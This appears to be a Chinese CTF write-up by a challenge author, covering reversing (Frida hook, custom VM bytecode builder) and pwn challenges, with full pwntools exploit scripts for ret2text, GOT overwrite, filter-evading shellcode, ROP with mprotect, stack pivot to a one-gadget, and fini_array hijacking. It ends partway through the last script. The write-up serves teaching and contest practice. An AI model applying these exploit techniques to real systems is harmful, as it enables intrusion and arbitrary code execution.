// 查找目标模块和函数
    var moduleName = "libbinnative.so";
    var compareOffset = 0x0000000000000C20;
    // 查找模块基址
    var module =  Module.findBaseAddress(moduleName);
    if (!module) {
        console.error("无法找到模块:", moduleName);
        return;
    }
    console.log("模块 " + moduleName + " 基址:", module);
    // 计算Compare函数的绝对地址
    var compareAddr = module.add(compareOffset);
    console.log("Compare函数地址:", compareAddr);
    var hasTraversed = false;
    // Hook Compare函数
    Interceptor.attach(compareAddr, {
        onEnter: function(args) {
            // 只在第一次调用时遍历root树
            if (!hasTraversed) {
                hasTraversed = true;
                var rootPtr = args[0];
                console.log("Root指针地址:", rootPtr);
                console.log("内置树后序遍历结果:");
                postOrderTraversal(rootPtr);
            }
        }
    });
    var flag = ""
    // 后序遍历函数实现
    function postOrderTraversal(nodePtr) {
        if (nodePtr.isNull()) return;

        // 用ptr()转换成NativePointer类型
        var node = ptr(nodePtr);

        var leftPtr = Memory.readPointer(node.add(8));
        var rightPtr = Memory.readPointer(node.add(16));

        postOrderTraversal(leftPtr);
        postOrderTraversal(rightPtr);

        var data = Memory.readU8(node);
        flag += String.fromCharCode(data);
        console.log("flag -> ", flag);
    }
});

写好脚本之后,要在APP里先随便输入一点内容然后点击确认按钮,这是为了触发native函数,使APP载入native库,否则会找不到模块

最后输入frida -U -n binnative -l script.js启动frida,按APP确认按钮即可

结果如图

你喜欢数据结构吗?喵~

后话

其实我写代码的时候,那些二叉树节点都是只有字符data但没有被连接的,连接二叉树我特意写了个initTree函数来实现

并且将它作为so库的init函数进行调用

但有可能因为是开的-O3优化,编译器直接把树结构写死在内存了哈哈哈哈哈

oh~牛批,还有这种优化

这里要提一嘴的是D0wnBe@t是直接手搓画图解的

果然技巧只会耽误手撕的时间哈哈哈哈哈哈

ez_turing

虚拟机逆向没什么好说的,总结就是:耐心!耐心!还是他妈的耐心!

其实比赛有个小bug不知道有没有人发现,为了降低PWN题baby_vm的逆向难度,程序其实是保留符号编译的,并且指令集以及虚拟机的CPU结构和逆向完全一样,只不过VM的构造函数不同罢了。所以如果你用ida打开baby_vm然后再去做逆向题ez_turing,相当于把指令集白给你了

ez_turing(左)

baby_vm(右)

有很多种解法,最简单粗暴的做法首先是还原大致的虚拟机CPU结构(其实CPU结构并不复杂)

typedef struct _CPU
{
    uint64_t regs[16];
    byte* ip;
    uint64_t* sp;
    uint64_t* bp;
    bool power;
}_CPU;

然后在指令翻译函数那里下断点然后动调,分析每一步虚拟机干了什么,最后还原出虚拟机的加密过程,写出解密脚本,这是我对新生的预期解但校内赛是0解,大失败😭

这里放出VM构造函数的代码,这样大家就更加容易理解程序的操作

VM::VM(byte* code)
{
    char buf[512];
    memset(&this->cpu, 0 , sizeof(_CPU));
    std::cout << "input your flag:";
    std::cout.flush();
    std::cin >> buf;
    cpu.power = true;
    cpu.ip = code;
    cpu.bp = (uint64_t*)malloc(1024*sizeof(uint64_t));
    cpu.sp = cpu.bp;
    int status  = 0;
    // 将用户输入的数据压虚拟机栈
    uint64_t *dat = (uint64_t*)buf;
    int count = strlen(buf) / 8 + (strlen(buf) % 8 == 0 ? 0 : 1);
    cpu.regs[13] = 1;
    while (count)
    {
        status = interpret();
        if (status)
        {
            printf("Runtime Error!%s at ip:%d", errors[status], cpu.ip-code);
            return;
        }
        if(cpu.regs[14] == 0x80) //syscall
        {
            cpu.regs[0] = *dat++;
            cpu.regs[14] = 0;
            count--;
        }
    }
    cpu.regs[13] = 0;
    // 执行加密逻辑
    while(cpu.power){
        status = interpret();
        if (status)
        {
            printf("Runtime Error!%s at ip:%x", errors[status], cpu.ip-code);
            return;
        }
    }
    if(cpu.regs[7] == 0x9a55)
    {
        printf("Congratulations!Your flag is right!\n");
    }else if(cpu.regs[7] == 0xdead)
    {
        printf("Sorry!Your flag is wrong!\n");
    }else
    {
        printf("WTF?Your VM code maybe modified!\n");
    }
    //printRegs();
    //dumpStack(4);
    return;
}

最开始那个循环其实是处理用户输入的,当r14==0x80时,就相当于VM执行了syscall,需要外部处理。

这里处理的是什么呢?当然是用户输入的数据啦,将它压入r0寄存器然后清除r14标志位,继续循环

后面的那个循环则是处理VM的加密逻辑了

有同学说动态调试太累了,有没有稍微省力一点的解法呢?当然有,当我们还原出指令集后,就可以写个python脚本来还原VM字节码的操作了

作为出题人为了方便出题,我其实写了一个VMBuilder类,然后让AI改改写了个VMDisassembler类来反汇编VM字节码

但是代码比较长,这里我就把VMBuilder类以及出题代码放上来,同学们可以参考一下,都有注释的

(如果需要VMDisassembler的代码可以私聊我)

from struct import pack

class VMBuilder:
    def __init__(self):
        self.buf = bytearray()
    
    def _validate_registers(self, *regs):
        for r in regs:
            if not 0 <= r <= 15:
                raise ValueError(f"Invalid register R{r} (0-15 only)")
    
    def add(self, r1, r2):
        """ADD r1, r2"""
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 1, r1, r2)
    
    def add_imm(self, rx, imm):
        """ADD rX, imm"""
        self._validate_registers(rx)
        self.buf += pack("<BBQ", 2, rx, imm)
    
    def sub(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 3, r1, r2)
    
    def sub_imm(self, rx, imm):
        self._validate_registers(rx)
        self.buf += pack("<BBQ", 4, rx, imm)
    
    def mul(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 5, r1, r2)
    
    def mul_imm(self, rx, imm):
        self._validate_registers(rx)
        self.buf += pack("<BBQ", 6, rx, imm)

    def mov(self, dst, src):
        self._validate_registers(dst, src)
        self.buf += pack("<BBB", 7, dst, src)
    
    def ixor(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 8, r1, r2)

    def push(self, rx):
        self._validate_registers(rx)
        self.buf += pack("<BB", 9, rx)
    
    def pop(self, rx):
        self._validate_registers(rx)
        self.buf += pack("<BB", 10, rx)

    def cmp(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 11, r1, r2)

    def jmp(self, offset):
        self.buf += pack("<Bh", 12, offset)
    
    def jz(self, offset):
        self.buf += pack("<Bh", 13, offset)
    
    def jnz(self, offset):
        self.buf += pack("<Bh", 14, offset)

    def shiftL(self, rx, shift):
        self._validate_registers(rx)
        if not 0 <= shift <= 64:
            raise ValueError("Shift amount must be 0-64")
        self.buf += pack("<BBB", 15, rx, shift)
    
    def shiftR(self, rx, shift):
        self._validate_registers(rx)
        if not 0 <= shift <= 64:
            raise ValueError("Shift amount must be 0-64")
        self.buf += pack("<BBB", 16, rx, shift)
    
    def load(self, rx, offset):
        self._validate_registers(rx)
        self.buf += pack("<BBH", 17, rx, offset)
    
    def store(self, rx, offset):
        self._validate_registers(rx)
        self.buf += pack("<BBH", 18, rx, offset)

    def load2(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 19, r1, r2)
    
    def store2(self, r1, r2):
        self._validate_registers(r1, r2)
        self.buf += pack("<BBB", 20, r1, r2)
    
    def halt(self):
        self.buf += pack("<B", 21)

    def dump(self):
        """返回完整字节码副本"""
        return bytes(self.buf)
    
    def save(self, filename):
        """保存字节码到文件"""
        with open(filename, 'wb') as f:
            f.write(self.dump())

if __name__ == "__main__":
    vm = VMBuilder()
    key = [
        0x9ce6a58be681a6e8, 
        0xe68885e585bfe589, 
        0xbb8ee5b1a4e58287, 
        0x8fe5a58ee68e80e6
    ]
    # r13 = 1,表示数据未读取完毕,当r13=0时说明数据已读取完毕
    # r0 = 当前数据块,每次从用户输入的数据中分割一个8字节大小的块然后存到虚拟机栈上
    # r1 储存读入的数据块数量
    # 当r14 = 0x80时说明需要外部设置r0的数据(类似于syscall)
    load_input = 0
    vm.add_imm(14, 0x80)
    vm.push(0) # push r0
    vm.add_imm(1, 1) # r1 += 1
    vm.cmp(13, 15) # cmp r13,r15
    vm.jnz(load_input - len(vm.buf) - 3)

    # 初始化密钥
    vm.add_imm(7, key[0])  # r7 = k0
    vm.add_imm(8, key[1])  # r8 = k1
    vm.add_imm(9, key[2])  # r9 = k2
    vm.add_imm(10, key[3]) # r10 = k3

    # 初始化加密参数
    delta = 0xcafebabe0d000721
    vm.mov(4, 15)         # r4 = 0 (块对计数器)
    vm.mov(5, 1)          # r5 = r1 (总块数)
    vm.shiftR(5, 1)       # r5 = 总块对数

    # 外层循环:遍历所有块对
    block_loop = len(vm.buf)
    vm.cmp(4, 5)          # 比较当前处理块对数
    vm.jz(0)             # 全部处理完则跳出循环
    jz_pos = len(vm.buf) # 记录jz指令的位置

    # 计算当前块对内存偏移
    vm.mov(6, 4)          # r6 = 块对索引
    vm.shiftL(6, 1)       # 转换为单元偏移(乘以2)

    # 加载当前明文块对
    vm.load2(1, 6)        # r1 = bp[r6]
    vm.add_imm(6, 1)
    vm.load2(2, 6)        # r2 = bp[r6+1]
    vm.sub_imm(6, 1)

    # 初始化加密变量
    vm.ixor(3, 3)         # sum = 0
    vm.add_imm(11, 24)    # 内层循环计数器

    # 内层循环:24轮加密
    encrypt_loop = len(vm.buf)
    # sum += delta
    vm.add_imm(3, delta)
    
    # v0 更新计算(使用永久寄存器r7-r10)
    vm.mov(12, 2)
    vm.shiftL(12, 4)      # v1 << 4
    vm.add(12, 7)         # +k0
    vm.mov(13, 2)
    vm.add(13, 3)         # v1 + sum
    vm.mov(14, 2)
    vm.shiftR(14, 5)      # v1 >> 5
    vm.add(14, 8)         # +k1
    vm.ixor(12, 13)       # 异或操作
    vm.ixor(12, 14)
    vm.add(1, 12)         # 更新v0

    # v1 更新计算
    vm.mov(12, 1)
    vm.shiftL(12, 4)      # v0 << 4
    vm.add(12, 9)         # +k2
    vm.mov(13, 1)
    vm.add(13, 3)         # v0 + sum
    vm.mov(14, 1)
    vm.shiftR(14, 5)      # v0 >> 5
    vm.add(14, 10)        # +k3
    vm.ixor(12, 13)
    vm.ixor(12, 14)
    vm.add(2, 12)         # 更新v1

    # 循环控制
    vm.sub_imm(11, 1)
    vm.cmp(11, 15)
    vm.jnz(encrypt_loop - len(vm.buf) - 3)

    # 覆盖存储加密结果
    vm.store2(6, 1)        # bp[r6] = r1
    vm.add_imm(6, 1)
    vm.store2(6, 2)        # bp[r6+1] = r2

    # 递增块对计数器
    vm.add_imm(4, 1)
    vm.jmp(block_loop - len(vm.buf) - 3)

    encrypted = [0x9225C2295691ED58, 0xF58044F637F80C26,0xF9F30D9F992BC3B9, 0xE5D8537D9674CCA4,0x2D977B86002702D9, 0x6DE2B4196F76B787]
    # 动态跳转修正
    offset = len(vm.buf) - jz_pos
    vm.buf[jz_pos-2:jz_pos] = pack("<h", offset)

    # 最后是密文比对验证的虚拟机代码
    # 将密文读入寄存器r1~r6
    for i in range(1,7):
        vm.mov(i, 15)
        vm.add_imm(i, encrypted[i-1])
    
    pos = []
    # 与栈上的加密数据对比
    for i in range(6):
        vm.load(0, i)
        vm.ixor(0, i+1)
        vm.jnz(0)
        pos.append(len(vm.buf))
    vm.ixor(7, 7)
    vm.add_imm(7, 0x9a55)
    vm.halt()

    # 对比失败,首先把之前比较失败的jnz跳转全部处理
    for p in pos:
        offset = len(vm.buf) - p
        vm.buf[p-2:p] = pack("<h", offset)
    vm.ixor(7, 7)
    vm.add_imm(7, 0xdead)
    vm.halt()

    vm.save("vmcode.bin")
    print("Bytecode generated:", len(vm.buf), "bytes")

后话

这个VM被D0wnBe@t手撕了(下面是他的分析截图),我愿称博✌️为香袋手撕王

Pwn

签到1-calc

考点:brop简单的计算式脚本书写

from pwn import *
import re

def bug():
    gdb.attach(p)
    pause()

def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
        p.interactive()

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda         :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

# p = process("./calc")
p = remote("43.139.51.42",38118)
ru("Come on!\n")

for _ in range(100):
        ru("problem: ")
        calc = p.recvuntil(" \n",drop=True).decode().strip()
        calc = calc.replace('/', '//') # 
        print("calc is: ",calc)
        ans = eval(calc)
        sleep(0.1)
        sl(str(ans))
ru("flag{")
print("flag{" + p.recv().decode())

签到2-ezStack

考点:最基础的ret2textUbuntu22下编译注意endbr64即可

具体解法参考:

2025HXCTF-WP | D0wnBe@t

from pwn import *
def bug():
    gdb.attach(p)
    pause()

def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
        p.interactive()

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda    :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.terminal=["cmd.exe","/c", "start", "cmd.exe", "/c", "wsl.exe", "-e"] # wsl
file = "./pwn"
# libc = "./libc.so.6"

p = process(file)
# p = remote("43.139.51.42",33063)
# elf = ELF(file)
#libc = ELF(libc)
# p = remote("",)

backdoor = 0x040130C
payload = cyclic(0x38) + p64(backdoor)
sla("credits!\n",payload)
ia()

签到3-uninitialized

考点:栈上变量未初始化导致数据复用gdb动态调试

具体解法参考:

2025HXCTF-WP | D0wnBe@t

简单分析

arc4random产生的是真随机数,所以从这个点我们是无法解决game1()函数里面的strcmp函数,但是通过gdb调试是可以发现table()函数填充的buf的一部分就是game1()函数里面的s1,因此接收再发送即可绕过game1()

game2()就是利用func()函数填充到下一个函数的v1,进行任意地址写,写exit_got为cat_flag

EXP

from pwn import *

def bug():
    gdb.attach(p)
    pause()

def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
        p.interactive()

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda         :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

p = process("./pwn")
# p = remote("43.139.51.42",35724)
elf = ELF("./pwn")
puts_got = elf.got['puts']
exit_got = elf.got['exit']
cat_flag = 0x8048B51

# step1 leak data and pass game1
ru("Now, here is a magical code!\n")
p.recv(16)
payload = p.recv(8)
print(payload)
# bug()
sa("Tell me what you think!\n",payload)

# step2 cover stack_data to controll v2 v3
payload = b'a'*0x10
payload += p32(exit_got)
# bug()
sa("chufalou!\n",payload);

# step3 modify exit_got -> cat flag
payload = str(cat_flag).encode() +b'\n' + b'+'
  
sla("controll it?\n",payload)
print(p.recv())

后续

还有一个64位的没上,大家可以自己尝试一下:

HXCTF_pwn_免费高速下载|百度网盘-分享无限制

签到4-babyshellcode

考点:简单的命令调用汇编编写禁用syscallSYS_execve的字节码

详细解法参考:

2025HXCTF-WP | D0wnBe@t

最开始题目出的有点问题,上面文章说也说了这一点,并且说了相应的解法,有兴趣的可以去看看,下面正式简单分析一下

简单分析

  • ida打开是不能直接反编译的,那就一个一个函数看即可,check这里对输入的字节码进行了检查,要求不能出现下面的字节码

  • 那么解法其实也很多,我们可以用xor构造出syscallret的字节码,用一个寄存器,如rdx,存着这个字节码,然后将原先的syscall改为callrdx即可
  • 还有一种将程序改为32位,然后调用32位的bpi,但是题目加了沙箱,要求是64位,所以该方法是不行的,只作为拓展思路,具体可参考:Sandbox总结 - 星盟安全团队

EXP

from pwn import *
from ae64 import AE64
def bug():
    gdb.attach(p)
    pause()

def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

def ia():
        p.interactive()

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda         :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))

context(arch = "amd64",os = "linux",log_level = "debug")
#context.terminal = ['tmux','splitw','-h']
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
file = "./pwn"
libc = "./libc.so.6"

p = process(file)
# p = remote("43.139.51.42",34123)

ru("Have a try!!!!\n")

# obj = AE64()
# sh = obj.encode(asm(shellcraft.sh()), 'rdx')
# print(hex(len(sh)))
bss = 0x6020A8
sh = asm('''
/* 构造syscall ret*/   
push 0;           
mov byte ptr [rsp], 0x4e;    
mov byte ptr [rsp+1], 0x44;
xor byte ptr [rsp], 0x41;    
xor byte ptr [rsp+1], 0x41;
mov byte ptr [rsp+2], 0xc3;  
mov rbx, rsp;               
         
/* open('flag') */
push 0x67616c66;
mov rdi, rsp;  
xor rsi, rsi;
xor rdx, rdx;
push 2;
pop rax;
call rbx;
         
/* read(3,bss,0x30) */
push 3; pop rdi;
push 0x30; pop rdx;
mov rsi, 0x6020A8;
xor rax, rax;
call rbx;

/* write(1,bss,0x30) */
push 1; pop rdi;
mov rsi, 0x6020A8;
push 0x30; pop rdx;
push 1; pop rax;
call rbx;
'''
)
print(hex(len(sh)))
# bug()
sl(sh)
ia()

cutebird

这道题是完全没有坑的,非常简单的ret2text+canary绕过

程序反编译伪代码如下

选项1有溢出,可以先溢出一个字节覆盖canary的低位00字节来泄露canary

然后通过选项2向bss写入'/bin/sh\x00'字符串

直接看IDA或者用ROPgadget都能找到poprdi;ret这个gadget

exp

from pwn import *

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda    :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
uheap   = lambda    :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n   :p.success('%s -> 0x%x' % (s, n))

context(arch = "amd64",os = "linux",log_level = "debug")

file = "./cute"

#p = process(file)
elf = ELF(file, False)
p = remote("43.139.51.42", 32777)

def menu(idx):
    sla(">> ", str(idx))

system = 0x0000000000401396
bin_sh = elf.sym["secret"]
rdi_ret = 0x000000000040124a
menu(1)
sl(cyclic(0x58))
ru(cyclic(0x58))
canary = u64(rc(8)) - 0xa
log("canary", canary)
menu(2)
sl("/bin/sh\x00")
menu(1)
payload = cyclic(0x58) + p64(canary) + flat(0, rdi_ret, bin_sh, system)
sd(payload)

ia()

签到愉快~Ciallo~(∠・ω<)⌒★

sandbox

其实我感觉这题是换汤不换药,只是把ret2text改成了ret2libc。给了一个超长的溢出同时把execve调用给禁用了

因为我编译程序的时候是直接将libseccomp.a静态链接到程序,所以程序本身有很多可用的gadget,我们可以先puts泄露libc地址然后再通过ORWrop链来读flag文件

泄露libc地址

rdi_ret = 0x000000000040d8a2
pl1 = cyclic(64) + flat(0, rdi_ret, elf.got["puts"], elf.sym["puts"], elf.sym["main"])
sla("How to get flag?\n", pl1)
libc.address = uu64() - libc.sym["puts"]
log("libcbase", libc.address)

然后准备布置ORWrop链.....wait!

诶?我去,程序和libc里都找不到'/flag\x00'或者'flag\x00'字符串啊😰

这我怎么利用?

诶!🤓☝️这时候就要介绍一个叫mprotect的系统函数了,它的作用是修改内存段的权限。

那怎么用呢?

我们可以用它修改程序bss段的权限为RWX(可读可写可执行),然后调用read将我们的ORWshellcode写入bss段,最后执行ORWshellcode

rsi = 0x000000000002be51 + libc.address
rdx_r12 = 0x000000000011f2e7 + libc.address
bss = elf.bss() + 0x300
seg = bss & (~0xfff)
log("RWX_seg", seg)
mprotect = libc.sym["mprotect"]
read = libc.sym["read"]
pl2 = cyclic(64) + flat(0, rdi_ret, seg, rsi, 0x1000, rdx_r12, 7,0, mprotect,rdi_ret, 0, rsi, bss, rdx_r12, 0x100, 0, read, bss)
sla("How to get flag?\n", pl2)
pause()
sl(asm(shellcraft.cat("flag")))

其实这里用mmap函数也是可以的,但是mmap函数的参数量比较多,所以没用它

exp

from pwn import *
import struct

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        
sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda    :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
uheap   = lambda    :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n   :p.success('%s -> 0x%x' % (s, n))

context(arch = "amd64",os = "linux",log_level = "debug")
file = "./sandbox"
libc = "./libc.so.6"

p = process(file)
elf = ELF(file, False)
libc = ELF(libc, False)
#p = remote("", 23583)

rdi_ret = 0x000000000040d8a2
pl1 = cyclic(64) + flat(0, rdi_ret, elf.got["puts"], elf.sym["puts"], elf.sym["main"])
sla("How to get flag?\n", pl1)
libc.address = uu64() - libc.sym["puts"]
log("libcbase", libc.address)

rsi = 0x000000000002be51 + libc.address
rdx_r12 = 0x000000000011f2e7 + libc.address

bss = elf.bss() + 0x300
seg = bss & (~0xfff)
log("RWX_seg", seg)
mprotect = libc.sym["mprotect"]
read = libc.sym["read"]
debug("b *0x4015ad")
pause()
pl2 = cyclic(64) + flat(0, rdi_ret, seg, rsi, 0x1000, rdx_r12, 7,0, mprotect,rdi_ret, 0, rsi, bss, rdx_r12, 0x100, 0, read, bss)
sla("How to get flag?\n", pl2)
pause()
sl(asm(shellcraft.cat("flag")))

ia()

moveup

这道题考的是栈迁移,首先来看主函数

能往bss段写0x3C的数据

跟进vuln发现有个16字节的溢出,也就是恰好能够覆盖栈指针和返回地址

那么思路比较清晰了

  • 在最开始的时候写入泄露libc地址的ROP链
rdi_ret = 0x040117E
leave = 0x4011D3
pl1 = flat(0, rdi_ret, elf.got["puts"] ,elf.sym["puts"], elf.sym["main"])
sla("your name?", pl1)
  • 接着我们把栈迁移到bss段,执行我们最开始写入的ROP链并接收libc地址
pl2 = cyclic(48) + flat(bss, leave)
sa("feedback~", pl2)
ru("participation!\n")
libc.address = uu64() - libc.sym["puts"]
log("libcbase", libc.address)
  • 再次来到main函数,我们写入执行system("/bin/sh")的ROP链,然后再次把栈迁移到name变量去执行ROP链,最后getshell
  • 是这样的.....吗?实际上这样做你会收到SIGSEGV错误

为什么呢?因为system函数调用需要的栈空间比较大,也许你会说name前面还有那么长一段内存,但实际上这就是坑🤓☝️让你误以为是能执行system的

这里的预期解是打onegadget

因为onegadget是直接找libc库中执行execveat("/bin/sh",cond,cond)的代码片段来快速getshell,需要的栈空间没有system那么大(后面两个参数cond表示约束条件)

输入one_gadgetlibc.so.6来查看libc文件的所有onegadgets

下面的利用脚本里我选择的是第六个ogg

ogg的利用前提会打印出来,这里我们只需要控制rax寄存器的值为NULL就行了

0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  rax == NULL || {rax, r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp

exp

from pwn import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
rl  = lambda    :p.recvline()
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
uheap   = lambda    :u64(p.recv(5).ljust(8,b'\x00'))
log = lambda s, n   :p.success('%s -> 0x%x' % (s, n))

context(arch = "amd64",os = "linux",log_level = "debug")
file = "./moveup"
libc = "./libc.so.6"

p = process(file)
elf = ELF(file, False)
libc = ELF(libc, False)
#p = remote("43.139.51.42", 34517)

bss = elf.sym["name"]
rdi_ret = 0x040117E
leave = 0x4011D3
pl1 = flat(0, rdi_ret, elf.got["puts"] ,elf.sym["puts"], elf.sym["main"])
sla("your name?", pl1)

debug("b *0x4011D3")
pause()
pl2 = cyclic(48) + flat(bss, leave)
sa("feedback~", pl2)
ru("participation!\n")

libc.address = uu64() - libc.sym["puts"]
log("libcbase", libc.address)

rax = 0x0000000000045eb0 + libc.address
sla("your name?", "S1nyer")
oggs = [0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd38, 0xebd3f, 0xebd43]
"""
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
  address rbp-0x48 is writable
  rax == NULL || {rax, r12, NULL} is a valid argv
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
"""
pl4 = flat(bss+0x300, rax, 0, libc.address + oggs[5]).ljust(48, b'\x00') + flat(bss-32, leave)
sa("feedback~", pl4)

ia()

fini_format

这道题其实说难也不难,主要是要知道Linux下glibc程序的执行流程(如下图所示)

提炼关键信息,上面这个图的意思就是:如果程序通过__libc_start_main正常返回或是通过exit函数退出时,都会调用fini_array下的函数

知道这一点,那么这道题就很好做了

来看主函数,程序一开始就泄露了libc地址

那么我们的思路是劫持fini_array为start,然后再劫持printf@got为system函数地址

这时候再返回到main函数的时候,只需要输入字符串/bin/sh\x00就能getshell了

对了,是在IDA的View->Opensubviews->Segments找到fini_array的地址

exp

from pwn import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)

def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

sd = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rc   = lambda num=4096   :p.recv(num)
ru  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
ia   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
